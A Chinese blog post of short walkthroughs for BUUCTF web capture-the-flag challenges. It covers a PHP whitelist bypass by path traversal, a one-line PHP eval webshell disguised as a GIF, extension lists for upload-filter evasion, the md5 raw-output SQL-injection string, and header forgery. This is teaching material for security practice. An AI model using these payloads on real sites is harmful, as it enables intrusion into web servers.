BUUCTF

Posted _Nov1ce

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF相关的知识,希望对你有一定的参考价值。

1.[HCTF 2018]WarmUp 1 代码审计

提示查看source.php

打开该php网页

开始代码审计

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
             //白名单数组
            if (! isset($page) || !is_string($page)) {
                echo "you can\'t see it";
                return false;
            }//检测是否为字符串

            if (in_array($page, $whitelist)) {
                return true;
            }//检测是否在白名单内

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . \'?\', \'?\')
            );
/*然后将$page过滤,substr函数是将字符串分割,mb_strpos($page.’?’, ‘?’)
先将page加上一个问号,然后计算问号前的字符串的数量,并返回这个数量的值*/
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . \'?\', \'?\')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can\'t see it";
            return false;
        }
    }

    if (! empty($_REQUEST[\'file\'])
        && is_string($_REQUEST[\'file\'])
        && emmm::checkFile($_REQUEST[\'file\'])
    ) {
        include $_REQUEST[\'file\'];
        exit;
    } else {
        echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
    }  
?>

根据白名单,先访问hint.php

提示flag在上图所示目录下,所以想法是跨越目录访问fffffllllaaaaggg

5、这样的话我们就可以构造payload

(1)测试payload1:

http://111.198.29.45:56708/index.php?file=source.php

执行了source.php,输出了里面的内容

(2)测试payload2:

http://111.198.29.45:56708/index.php?file=source.php../../../../../ffffllllaaaagggg

我想得到ffffllllaaaagggg时就出问题了,因为ffffllllaaaagggg不在$whitelist数组的键值中,并且

继续执行代码后,下面$_page=source.php../../../../../../../ffffllllaaaagggg,第3个if语句false,

urldecode后$_page=source.php../../../../../../../ffffllllaaaagggg,mb_substr后还是这个,第4

个if语句还是false,最后输出you can\'t see it,还return false,这还玩啥

该如何解决?我需要include ffffllllaaaagggg文件,而且需要使用../,怎样绕过?

注意到mb_strpos($page . \'?\', \'?\')没,我们构造一个?即可

(3)测试payload3:

http://111.198.29.45:56708/index.php?file=source.php?../../../../../../ffffllllaaaagggg

构造?的话,第2个if语句就不能返回true了,第3个if语句一样,也不能执行return语句,第4个if语句需要满足if

(true),因为需要执行{}中的内容,最后使得checkFile()函数返回的布尔类型为true

(4)payload3执行流程:此时file=source.php?../../../../../../ffffllllaaaagggg

第1个if返回false

第2个if返回false

$_page=source.php

第3个if返回true,退出checkFile函数,此时核心代码中已满足if(true&&true&&true),即执行include函数

最后include(source.php?../../../../../../ffffllllaaaagggg)

————————————————

参考:https://blog.csdn.net/qq_41617034/article/details/104695005

2.[ACTF2020 新生赛] Include

点击tips跳转flag.php

利用伪协议读取即可

3.[极客大挑战 2019]Havefun

payload:?cat=dog

4.[极客大挑战 2019]Secret File

提示查看archieve.room.php

查看

直接点击secret,

利用bp抓包

查看该网页

直接用伪协议就行啦

5.[ACTF2020 新生赛]Exec

同攻防世界command那题

6.[GXYCTF2019]Ping Ping Ping

参考:https://blog.csdn.net/qq_46184013/article/details/107061110?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163291774816780262578100%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163291774816780262578100&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-107061110.pc_search_result_cache&utm_term=%5BGXYCTF2019%5DPing+Ping+Ping&spm=1018.2226.3001.4187

7.[极客大挑战 2019]Knife

连接antsword查看根目录下的flag即可

8.[极客大挑战 2019]Http

查看网页源代码

看到隐藏界面,访问它

可见要修改referer(注意,这里不是修改host)

并且要求了浏览器和xff头

浏览器的修改是通过UA,/5.0之前的修改一下即可

xff头直接改为localhost

9.[极客大挑战 2019]Upload

这题的绕过点有三个,一个就是文件内容不能有<?,还有就是文件后缀的绕过,还有图片头。

因此图片内容如下:

GIF89a? <script language="php">eval($_REQUEST[feng])</script>

后缀的话可以用phtml来绕过。

还有一个问题就是上传之后的文件在哪。猜测还是常规的目录/upload下面,用蚁剑连成功了,确实是在upload下面。

附常见的php后缀:

php2, php3, php4, php5, phps, pht, phtm, phtml

10.[ACTF2020 新生赛]BackupFile

备份文件url/index.php.bak

下载后得到

payload:?key=123

11.[极客大挑战 2019]BuyFlag

查看源代码

访问pay.php

抓包

注意,http里有三处要改的地方

1.方式改为POST

2.cookie的user改为1

3.password绕过弱类型,money用科学计数法(或者用数组绕过)

12.[BJDCTF2020]Easy MD5

进去什么都没有,bp抓包或者直接查看包头

发现提示

md5绕过总结:https://www.jianshu.com/p/5156185c8a27

可以看到这里的raw参数是True,为返回原始16字符二进制格式。

也就是说当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。

如果构造一个\'or\'xxx\'的密码,只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找,\'or\'对应的16进制是276f7227,所以我们的目标就是要找一个字符串,取32位16进制的md5值里带有276f7227这个字段的,在276f7227这个字段后面紧跟一个数字(除了0)1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是含有276f7227+(31-39)这个字段,就可以满足要求。

则拼接后构成的SQL语句为:

select * from user where password=\'\'or\'1asodijfoi\';
select * from user where password=\'\'or\'1abcdefg\'    --->  True
select * from user where password=\'\'or\'0abcdefg\'    --->  False
select * from user where password=\'\'or\'1\'           --->  True
select * from user where password=\'\'or\'2\'           --->  True
select * from user where password=\'\'or\'0\'           --->  False

只要\'or\'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。

目前只知道用这个字符串 ffifdyop具体怎么来的

跳转后,第一步,0e绕过

第二步,数组绕过

param2[]=1&param1[]=2

以上是关于BUUCTF的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF--checkin

[BUUCTF][HITCON 2017]SSRFme

BUUCTF-[HCTF 2018]WarmUp

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

BUUCTF--相册